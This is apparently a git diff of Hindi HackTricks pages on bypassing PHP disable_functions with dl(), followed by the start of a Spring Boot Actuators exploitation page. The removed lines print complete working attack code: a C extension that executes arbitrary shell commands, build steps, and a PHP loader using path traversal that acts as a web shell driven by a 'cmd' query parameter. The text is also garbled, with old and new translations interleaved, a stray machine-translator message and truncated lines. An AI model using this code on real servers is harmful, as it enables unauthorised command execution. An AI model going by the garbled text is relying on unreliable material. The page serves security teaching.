|||
<details>
|
||||
|
||||
<summary><strong>शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**.
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** ट्विटर पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -16,316 +16,81 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
|
||||
![image](https://user-images.githubusercontent.com/84577967/174675487-a4c4ca06-194f-4725-85af-231a2f35d56c.png)
|
||||
|
||||
**`dl`** एक PHP फंक्शन है जिसका उपयोग PHP एक्सटेंशन्स को लोड करने के लिए किया जा सकता है। यदि यह फंक्शन डिसेबल नहीं है तो इसका दुरुपयोग करके **`disable_functions` को बायपास करके मनमाने कमांड्स निष्पादित किए जा सकते हैं**।\
|
||||
हालांकि, इसमें कुछ सख्त सीमाएँ हैं:
|
||||
**`dl`** एक PHP फ़ंक्शन है जिसका उपयोग PHP एक्सटेंशन्स लोड करने के लिए किया जा सकता है। यदि यह फ़ंक्शन अक्षम नहीं है तो इसका दुरुपयोग करके **`disable_functions` को अनदेखा करना और विविध कमांड्स को निष्पादित करना** संभव है।\
|
||||
हालांकि, इसके कुछ सख्त सीमाएँ हैं:
|
||||
|
||||
* `dl` फंक्शन **पर्यावरण में मौजूद** होना चाहिए और **डिसेबल नहीं** होना चाहिए
|
||||
* PHP एक्सटेंशन **सर्वर के उपयोग कर रहे समान मेजर वर्जन** (PHP API वर्जन) के साथ कंपाइल किया जाना चाहिए (आप इस जानकारी को phpinfo के आउटपुट में देख सकते हैं)
|
||||
* PHP एक्सटेंशन **उस डायरेक्टरी में स्थित होना चाहिए** जो **`extension_dir`** डायरेक्टिव द्वारा **परिभाषित** की गई है (आप इसे phpinfo के आउटपुट में देख सकते हैं)। यह बहुत असंभाव्य है कि सर्वर का दुरुपयोग करने की कोशिश कर रहा हमलावर इस डायरेक्टरी पर लिखने की अनुमति प्राप्त करेगा, इसलिए यह आवश्यकता शायद आपको इस तकनीक का दुरुपयोग करने से रोक देगी)।
|
||||
* `dl` फ़ंक्शन को **परिवेश** में **मौजूद** होना चाहिए और **अक्षम नहीं होना चाहिए**
|
||||
* PHP एक्सटेंशन **सर्वर के उपयोग कर रहे PHP API संस्करण** (PHP API संस्करण) के साथ **कॉम्पाइल किया जाना चाहिए** (आप इस जानकारी को phpinfo के आउटपुट में देख सकते हैं)
|
||||
* PHP एक्सटेंशन को **उस निर्देशित निर्देशिका में स्थित होना चाहिए** जिसे **`extension_dir`** निर्देशित करता है (आप इसे phpinfo के आउटपुट में देख सकते हैं)। एक हमलावर जो सर्वर का दुरुपयोग करने की कोशिश कर रहा है, उसके पास इस निर्देशिका पर लेखन पहुंच होने की संभावना बहुत कम है, इसलिए यह आवश्यकता संभावना आपको इस तकनीक का दुरुपयोग करने से रोक देगी)।
|
||||
|
||||
**यदि आप इन आवश्यकताओं को पूरा करते हैं, तो `disable_functions` को बायपास करने के तरीके जानने के लिए इस पोस्ट को [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) से कॉपी किया गया पढ़ते रहें**
|
||||
**यदि आप इन आवश्यकताओं को पूरा करते हैं, तो पोस्ट को जारी रखने के लिए आगे पढ़ें** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **और जानें कि कैसे `disable_functions` को अनदेखा किया जाए**। यहां एक सारांश है:
|
||||
|
||||
जब एडमिन ने बॉक्स को कॉन्फ़िगर किया था, उसने/उसने [dl फंक्शन](http://www.php.net/manual/en/function.dl.php) को अनदेखा कर दिया और इसे डिसेबल नहीं किया क्योंकि सिस्टम कमांड्स को निष्पादित करने की क्षमता का कोई उल्लेख नहीं था।\
|
||||
[dl फंक्शन](http://www.php.net/manual/en/function.dl.php) का उपयोग स्क्रिप्ट निष्पादित होने पर PHP एक्सटेंशन्स को लोड करने के लिए किया जाता है।\
|
||||
\
|
||||
(PHP एक्सटेंशन्स C/C++ में लिखे जाते हैं और PHP को अधिक कार्यक्षमता देने के लिए उपयोग किए जाते हैं।)\
|
||||
\
|
||||
हमलावर ने देखा कि फंक्शन डिसेबल नहीं है और संभावना देखकर एक PHP एक्सटेंशन बनाने का निर्णय लिया।\
|
||||
हमलावर ने एक छोटी स्क्रिप्ट `<?php echo 'PHP Version is '.PHP_VERSION; ?>` का उपयोग करके PHP का वर्जन जांचा (PHP_VERSION एक पूर्वनिर्धारित कॉन्स्टेंट है जिसमें PHP का वर्जन नंबर होता है।)\
|
||||
\
|
||||
हमलावर ने वर्जन नोट किया और [PHP वेबसाइट](http://www.php.net/downloads.php) से टारबॉल डाउनलोड किया, इस परिदृश्य में वर्जन वर्तमान रिलीज़ से पुराना है इसलिए हमलावर को [आर्काइव](http://museum.php.net) पर जाना पड़ा।\
|
||||
\
|
||||
इसके बाद उसने स्रोत को निकाला और [कंपाइल और इंस्टॉल](http://www.php.net/manual/en/install.php) किया अपने बॉक्स पर PHP का वर्जन।\
|
||||
\
|
||||
अब एक्सटेंशन बनाने का समय है\
|
||||
हमलावर ने PHP साइट से [PHP एक्सटेंशन्स बनाने](http://www.php.net/manual/en/zend.creating.php) के बारे में पढ़ा।\
|
||||
दस्तावेज़ीकरण के माध्यम से पढ़ने और अपने कुछ एक्सटेंशन्स बनाने के बाद उसने PHP कोड बेस को देखने का निर्णय लिया क्योंकि वह जिस फंक्शन की तलाश में है वह पहले से ही बनाया गया है।\
|
||||
\
|
||||
जिस फंक्शन की नकल की जाएगी वह [exec फंक्शन](http://www.php.net/manual/en/function.exec.php) है\
|
||||
कोड बेस में यह ext/standard/exec.c में स्थित है\
|
||||
\
|
||||
प्रासंगिक भागों को अपने नए एक्सटेंशन में लागू किया जाता है।\
|
||||
\
|
||||
[dl फ़ंक्शन](http://www.php.net/manual/en/function.dl.php) का उपयोग स्क्रिप्ट निष्पादन के दौरान PHP एक्सटेंशन्स डायनामिक रूप से लोड करने के लिए किया जाता है। PHP एक्सटेंशन्स, आम तौर पर C/C++ में लिखे जाते हैं, PHP की क्षमताओं को बढ़ाते हैं। हमलावर, `dl` फ़ंक्शन को अक्षम नहीं पाने पर, निर्देशित करता है कि एक कस्टम PHP एक्सटेंशन बनाया जाए ताकि सिस्टम कमांड्स को निष्पादित किया जा सके।
|
||||
|
||||
**नोट्स:**
|
||||
### हमलावर द्वारा लिए गए कदम:
|
||||
|
||||
कोड्स को कंपाइल करना शुरू करने से पहले आपको दो बिंदुओं का ध्यान रखना चाहिए:
|
||||
1. **PHP संस्करण पहचान:**
|
||||
- हमलावर एक स्क्रिप्ट का उपयोग करके PHP संस्करण का पता लगाता है (`<?php echo 'PHP Version is '.PHP_VERSION; ?>`).
|
||||
|
||||
1- `bypass.c` फाइल में `ZEND_MODULE_API_NO` का मान बदलना होगा जिस `Zend Extension Build` पर आप काम कर रहे हैं, इसे नीचे दिए गए कमांड लाइन का उपयोग करके प्राप्त कर सकते हैं:
|
||||
2. **PHP स्रोत प्राप्ति:**
|
||||
- PHP स्रोत को आधिकारिक [PHP वेबसाइट](http://www.php.net/downloads.php) से या [आर्काइव](http://museum.php.net) से डाउनलोड करता है यदि संस्करण पुराना है।
|
||||
|
||||
3. **स्थानीय PHP सेटअप:**
|
||||
- विशेष PHP संस्करण को उनके सिस्टम पर निकालता है और स्थापित करता है।
|
||||
|
||||
4. **एक्सटेंशन निर्माण:**
|
||||
- [PHP एक्सटेंशन बनाने](http://www.php.net/manual/en/zend.creating.php) का अध्ययन करता है और PHP स्रोत को जांचता है।
|
||||
- [exec फ़ंक्शन](http://www.php.net/manual/en/function.exec.php) की कार्यक्षमता को `ext/standard/exec.c` में डुप्लिकेट करने पर ध्यान केंद्रित करता है।
|
||||
|
||||
### कस्टम एक्सटेंशन को कंपाइल करने के लिए नोट:
|
||||
|
||||
1. **ZEND_MODULE_API_NO:**
|
||||
- `bypass.c` में `ZEND_MODULE_API_NO` को वर्तमान Zend Extension Build के साथ मेल खाना चाहिए, जिसे निम्नलिखित से प्राप्त किया जा सकता है:
|
||||
```bash
|
||||
php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{print $1}'
|
||||
```
|
||||
2- यदि आपको हाल के PHP संस्करण (5, 7 और 8) में bypass.c फ़ाइल को कंपाइल करते समय कोई त्रुटियाँ आईं, तो आप PHP_FUNCTION(bypass_exec) को इस प्रकार बदल सकते हैं:
|
||||
```
|
||||
PHP_FUNCTION(bypass_exec)
|
||||
{
|
||||
FILE *in;
|
||||
char *command;
|
||||
size_t command_len;
|
||||
zend_string *ret;
|
||||
php_stream *stream;
|
||||
|
||||
ZEND_PARSE_PARAMETERS_START(1, 1)
|
||||
Z_PARAM_STRING(command, command_len)
|
||||
ZEND_PARSE_PARAMETERS_END();
|
||||
2. **PHP_FUNCTION संशोधन:**
|
||||
- हाल के PHP संस्करणों (5, 7, 8) के लिए, `PHP_FUNCTION(bypass_exec)` को संशोधित करने की आवश्यकता हो सकती है। प्रदान किए गए कोड स्निपेट इस संशोधन का विवरण देता है।
|
||||
|
||||
if (!command_len) {
|
||||
zend_argument_value_error(1, "cannot be empty");
|
||||
RETURN_THROWS();
|
||||
}
|
||||
if (strlen(command) != command_len) {
|
||||
zend_argument_value_error(1, "must not contain any null bytes");
|
||||
RETURN_THROWS();
|
||||
}
|
||||
### कस्टम एक्सटेंशन फ़ाइलें:
|
||||
|
||||
#ifdef PHP_WIN32
|
||||
if ((in=VCWD_POPEN(command, "rt"))==NULL) {
|
||||
#else
|
||||
if ((in=VCWD_POPEN(command, "r"))==NULL) {
|
||||
#endif
|
||||
php_error_docref(NULL, E_WARNING, "Unable to execute '%s'", command);
|
||||
RETURN_FALSE;
|
||||
}
|
||||
- **bypass.c**:
|
||||
- कस्टम एक्सटेंशन की मूल कार्यक्षमता को लागू करता है।
|
||||
- **php_bypass.h**:
|
||||
- हेडर फ़ाइल, एक्सटेंशन गुणों को परिभाषित करती है।
|
||||
- **config.m4**:
|
||||
- `phpize` द्वारा कस्टम एक्सटेंशन के लिए निर्माण पर्यावरण को कॉन्फ़िगर करने के लिए उपयोग किया जाता है।
|
||||
|
||||
stream = php_stream_fopen_from_pipe(in, "rb");
|
||||
ret = php_stream_copy_to_mem(stream, PHP_STREAM_COPY_ALL, 0);
|
||||
php_stream_close(stream);
|
||||
### एक्सटेंशन को निर्माण करना:
|
||||
|
||||
if (ret && ZSTR_LEN(ret) > 0) {
|
||||
RETVAL_STR(ret);
|
||||
}
|
||||
}
|
||||
```
|
||||
अलग एक्सटेंशन की फाइलें नीचे दिए गए अनुसार समाप्त होती हैं:
|
||||
1. **कंपाइलेशन कमांड्स:**
|
||||
- एक्सटेंशन को कंपाइल करने के लिए `phpize`, `./configure`, और `make` का उपयोग करता है।
|
||||
- परिणामी `bypass.so` फिर मॉड्यूल्स उपनिर्देशिका में स्थित होता है।
|
||||
|
||||
{% code title="bypass.c" %}
|
||||
```c
|
||||
/*
|
||||
+----------------------------------------------------------------------+
|
||||
| Copyright (c) 1997-2003 The PHP Group |
|
||||
+----------------------------------------------------------------------+
|
||||
| This source file is subject to version 2.02 of the PHP license, |
|
||||
| that is bundled with this package in the file LICENSE, and is |
|
||||
| available at through the world-wide-web at |
|
||||
| http://www.php.net/license/2_02.txt. |
|
||||
| If you did not receive a copy of the PHP license and are unable to |
|
||||
| obtain it through the world-wide-web, please send a note to |
|
||||
| license@php.net so we can mail you a copy immediately. |
|
||||
+----------------------------------------------------------------------+
|
||||
*/
|
||||
2. **सफाई:**
|
||||
- कंपाइलेशन के बाद `make clean` और `phpize --clean` चलाता है।
|
||||
|
||||
### पीड़ित होस्ट पर अपलोड और निष्पादन:
|
||||
|
||||
1. **संस्करण संगतता:**
|
||||
- सुनिश्चित करता है कि हमलावर और पीड़ित के सिस्टमों के बीच PHP API संस्करण मेल खाते हैं।
|
||||
|
||||
2. **एक्सटेंशन लोडिंग:**
|
||||
- अवधारित पथों या प्रक्रिया का उपयोग करके प्रतिबंधों को टालने के लिए `dl` फ़ंक्शन का उपयोग करता है।
|
||||
|
||||
3. **स्क्रिप्ट निष्पादन:**
|
||||
- हमलावर `bypass.so` और एक PHP स्क्रिप्ट को पीड़ित सर्वर पर अपलोड करता है।
|
||||
- स्क्रिप्ट `dl_local` फ़ंक्शन का उपयोग करता है ताकि डायनामिक रूप से `bypass.so` को लोड करें और फिर `cmd` क्वेरी पैरामीटर के माध्यम से `bypass_exec` को बुलाए।
|
||||
|
||||
### कमांड निष्पादन:
|
||||
|
||||
- हमलावर अब कमांड निष्पादित कर सकता है जिसके लिए यह पहुंच करने के लिए उपयोग कर सकता है: `http://www.example.com/script.php?cmd=<command>`
|
||||
|
||||
|
||||
#ifdef HAVE_CONFIG_H
|
||||
#include "config.h"
|
||||
#endif
|
||||
|
||||
#include "php.h"
|
||||
#include "php_bypass.h"
|
||||
|
||||
static function_entry bypass_functions[] = {
|
||||
PHP_FE(bypass_exec, NULL)
|
||||
{NULL, NULL, NULL}
|
||||
};
|
||||
|
||||
zend_module_entry bypass_module_entry = {
|
||||
#if ZEND_MODULE_API_NO >= 20010901
|
||||
STANDARD_MODULE_HEADER,
|
||||
#endif
|
||||
PHP_BYPASS_EXTNAME,
|
||||
bypass_functions,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
#if ZEND_MODULE_API_NO >= 20010901
|
||||
PHP_BYPASS_VERSION,
|
||||
#endif
|
||||
STANDARD_MODULE_PROPERTIES
|
||||
};
|
||||
|
||||
#ifdef COMPILE_DL_BYPASS
|
||||
ZEND_GET_MODULE(bypass)
|
||||
#endif
|
||||
यह विस्तृत चरणों का विवरण देता है जिसमें PHP एक्सटेंशन बनाने और निष्पादित करने की प्रक्रिया को समझाया गया है ताकि सिस्टम कमांड्स को निष्पादित किया जा सके, `dl` फ़ंक्शन का दुरुपयोग करके, जो ऐसे सुरक्षा उल्लंघनों को रोकने के लिए अक्षम होना चाहिए।
|
||||
|
||||
|
||||
PHP_FUNCTION(bypass_exec){
|
||||
FILE *in;
|
||||
int readbytes, total_readbytes=0, allocated_space;
|
||||
pval **cmd;
|
||||
char *ret;
|
||||
|
||||
if (ZEND_NUM_ARGS()!=1 || zend_get_parameters_ex(1, &cmd)==FAILURE) {
|
||||
WRONG_PARAM_COUNT;
|
||||
}
|
||||
|
||||
convert_to_string_ex(cmd);
|
||||
#ifdef PHP_WIN32
|
||||
if ((in=VCWD_POPEN(Z_STRVAL_PP(cmd), "rt"))==NULL) {
|
||||
#else
|
||||
if ((in=VCWD_POPEN(Z_STRVAL_PP(cmd), "r"))==NULL) {
|
||||
#endif
|
||||
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to execute '%s'", Z_STRVAL_PP(cmd));
|
||||
RETURN_FALSE;
|
||||
}
|
||||
|
||||
allocated_space = EXEC_INPUT_BUF;
|
||||
ret = (char *) emalloc(allocated_space);
|
||||
|
||||
while (1) {
|
||||
readbytes = fread(ret+total_readbytes, 1, EXEC_INPUT_BUF, in);
|
||||
if (readbytes<=0) {
|
||||
break;
|
||||
}
|
||||
|
||||
total_readbytes += readbytes;
|
||||
allocated_space = total_readbytes+EXEC_INPUT_BUF;
|
||||
ret = (char *) erealloc(ret, allocated_space);
|
||||
}
|
||||
|
||||
pclose(in);
|
||||
|
||||
RETVAL_STRINGL(ret, total_readbytes, 0);
|
||||
Z_STRVAL_P(return_value)[total_readbytes] = '\';
|
||||
}
|
||||
```
|
||||
The content provided does not include any English text that requires translation. It only contains markdown syntax for ending and starting a code block, along with a filename. Please provide the English text that needs to be translated into Hindi.
|
||||
```c
|
||||
#ifndef PHP_BYPASS_H
|
||||
#define PHP_BYPASS_H 1
|
||||
|
||||
#define PHP_BYPASS_VERSION "1.0"
|
||||
#define PHP_BYPASS_EXTNAME "bypass"
|
||||
|
||||
PHP_FUNCTION(bypass_exec);
|
||||
|
||||
extern zend_module_entry bypass_module_entry;
|
||||
#define phpext_bypass_ptr &bypass_module_entry
|
||||
|
||||
#endif
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% code title="config.m4" %}
|
||||
```bash
|
||||
PHP_ARG_ENABLE(bypass, [whether to enable bypass support],[--enable-bypass])
|
||||
|
||||
if test "$PHP_BYPASS" = "yes"; then
|
||||
AC_DEFINE(HAVE_BYPASS, 1, [Whether you have bypass])
|
||||
PHP_NEW_EXTENSION(bypass, bypass.c, $ext_shared)
|
||||
fi
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
फाइलें बन जाने के बाद PHP एक्सटेंशन बनाने का समय आता है।
|
||||
```
|
||||
phpize
|
||||
./configure
|
||||
make
|
||||
```
|
||||
एक बार यह हो जाने के बाद, संकलित एक्सटेंशन modules उप निर्देशिका में bypass.so नामक फ़ाइल के रूप में स्थित होगा।\
|
||||
फ़ाइल को एक सुरक्षित स्थान पर कॉपी किया जाता है, अब नई बनाई गई फ़ाइलों को साफ करने के लिए निम्नलिखित आदेश निष्पादित किए जाते हैं।
|
||||
```
|
||||
make clean
|
||||
phpize --clean
|
||||
```
|
||||
अब हमलावर नवनिर्मित एक्सटेंशन को पीड़ित होस्ट पर अपलोड करता है।
|
||||
|
||||
(नोट: PHP के प्रमुख रिलीज़ विभिन्न API संस्करणों का उपयोग करते हैं, इसलिए आपको एक होस्ट पर एक्सटेंशन को कंपाइल करने और इसे दूसरे पर अपलोड करने के लिए API संस्करणों का मेल खाना चाहिए। इसीलिए प्रारंभ में हमलावर के बॉक्स पर वही PHP संस्करण स्थापित किया गया था।)
|
||||
|
||||
dl फंक्शन के साथ एक एक्सटेंशन लोड करने के लिए एक्सटेंशन को एक्सटेंशन डायरेक्टरी में होना चाहिए जो कि extension_dir डायरेक्टिव द्वारा परिभाषित होता है।
|
||||
यह एक समस्या हो सकती है क्योंकि हमलावर के पास इस डायरेक्टरी में लिखने की अनुमति होना कम संभावना है, हालांकि इससे पार पाने का एक तरीका है।
|
||||
इस समस्या पर डेवलपर्स ने dl फंक्शन पेज के नोट्स सेक्शन में चर्चा की है।
|
||||
|
||||
जिस अवधारणा पर चर्चा की गई थी वह है परिभाषित एक्सटेंशन डायरेक्टरी से सापेक्ष पथ का उपयोग करना।
|
||||
उदाहरण के लिए अगर एक्सटेंशन डायरेक्टरी को /usr/php/extensions पर सेट किया गया था और आप वर्तमान वेब डायरेक्टरी /home/example.com/html में bypass.so लोड करना चाहते हैं तो आप निम्नानुसार करेंगे:
|
||||
```php
|
||||
<?php
|
||||
dl('../../../home/example.com/html/bypass.so');
|
||||
?>
|
||||
```
|
||||
यह आवश्यकता को पारित कर देगा कि एक्सटेंशन को परिभाषित एक्सटेंशन निर्देशिका में होना चाहिए।
|
||||
|
||||
विभिन्न होस्ट्स के लिए सापेक्ष पथ में परिवर्तन करने की आवश्यकता के बिना एक स्वचालित तरीका भी है, यह कोड endofyourself \[at] yahoo \[dot] com द्वारा बनाया गया था और बाद में mag\_2000 \[at] front \[dot] ru द्वारा सुधारा गया।
|
||||
|
||||
इस फ़ंक्शन के साथ एक छोटी समस्या थी, कुछ होस्ट्स पर एक्सटेंशन निर्देशिका "./" पर सेट की गई है, यह फ़ंक्शन यह ध्यान में नहीं रखता था कि अगर एक्सटेंशन निर्देशिका को सापेक्ष पथ पर सेट किया गया हो, इसके लिए सुधार के लिए realpath फ़ंक्शन का उपयोग करना है।
|
||||
|
||||
निष्क्रिय फ़ंक्शन्स को बायपास करने और सिस्टम कमांड्स को निष्पादित करने के लिए एक्सटेंशन को लोड करने वाली अंतिम स्क्रिप्ट इस प्रकार है:
|
||||
```php
|
||||
<?php
|
||||
|
||||
function dl_local( $extensionFile ) {
|
||||
if(!(bool)ini_get('enable_dl')
|
||||
||(bool)ini_get('safe_mode')){
|
||||
die('Loading extensions is not permitted.');
|
||||
}
|
||||
|
||||
if(!file_exists($extensionFile)){
|
||||
die('File '.$extensionFile.' does not exist.');
|
||||
}
|
||||
|
||||
if(!is_executable($extensionFile)){
|
||||
die('File '.$extensionFile.' is not executable. ( chmod +x '.$extensionFile.' )');
|
||||
}
|
||||
|
||||
$currentDir = getcwd().'/';
|
||||
$currentExtPath = realpath(ini_get('extension_dir'));
|
||||
|
||||
$subDirs = preg_match_all("/\//",$currentExtPath ,$matches);
|
||||
unset($matches);
|
||||
|
||||
if(!(bool)$subDirs){
|
||||
die('Could not determine a valid extension path [extension_dir]');
|
||||
}
|
||||
|
||||
$extPathLastChar=strlen($currentExtPath )-1;
|
||||
|
||||
if($extPathLastChar==strrpos($currentExtPath,'/')){
|
||||
$subDirs--;}$backDirStr = '';
|
||||
|
||||
for($i = 1; $i <= $subDirs; $i++){
|
||||
$backDirStr .='..';
|
||||
if($i != $subDirs){
|
||||
$backDirStr .='/';
|
||||
}
|
||||
}
|
||||
|
||||
$finalExtPath = $backDirStr.$currentDir.$extensionFile;
|
||||
if(!dl($finalExtPath)){
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
$loadedExtensions = get_loaded_extensions();
|
||||
$thisExtName = $loadedExtensions[sizeof($loadedExtensions)-1];
|
||||
return $thisExtName;
|
||||
}
|
||||
|
||||
@ini_set ('display_errors','1');
|
||||
error_reporting(E_ALL);
|
||||
|
||||
dl_local('bypass.so');
|
||||
|
||||
if(@$_GET['cmd']){
|
||||
$output = bypass_exec($_GET['cmd']);
|
||||
echo '<pre>'.$output.'</pre>';
|
||||
}
|
||||
?>
|
||||
```
|
||||
अब हमलावर को केवल आवश्यक कमांड के साथ cmd वेरिएबल के साथ स्क्रिप्ट के URL को कॉल करना होगा।
|
||||
```
|
||||
http://www.example.com/script.php?cmd=ls
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
||||
|
||||
</details>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong
|
||||
|
|
|
@ -1,83 +1,48 @@
|
|||
# Spring Actuators
|
||||
# स्प्रिंग एक्ट्यूएटर्स
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**.
|
||||
* **अपनी हैकिंग ट्रिक्स साझा करें PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में.
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** ट्विटर पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**।**
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** को [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PR जमा करके।
|
||||
|
||||
</details>
|
||||
|
||||
## **Spring Auth Bypass**
|
||||
## **स्प्रिंग ऑथ बायपास**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (5) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**से** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
|
||||
|
||||
## Spring Boot Actuators का शोषण
|
||||
## स्प्रिंग बूट एक्ट्यूएटर्स का शोषण
|
||||
|
||||
**कॉपी किया गया** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
|
||||
**मूल पोस्ट की जांच करें** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||||
|
||||
Spring Boot Framework में कई सुविधाएँ शामिल हैं जिन्हें actuators कहा जाता है, जो आपको अपने वेब एप्लिकेशन की निगरानी और प्रबंधन में मदद करते हैं जब आप इसे प्रोडक्शन में धकेलते हैं। ऑडिटिंग, स्वास्थ्य, और मेट्रिक्स एकत्रित करने के लिए इस्तेमाल किए जाने के इरादे से, ये गलत कॉन्फ़िगरेशन होने पर आपके सर्वर के लिए एक छिपा हुआ द्वार भी खोल सकते हैं।
|
||||
### **मुख्य बिंदु:**
|
||||
|
||||
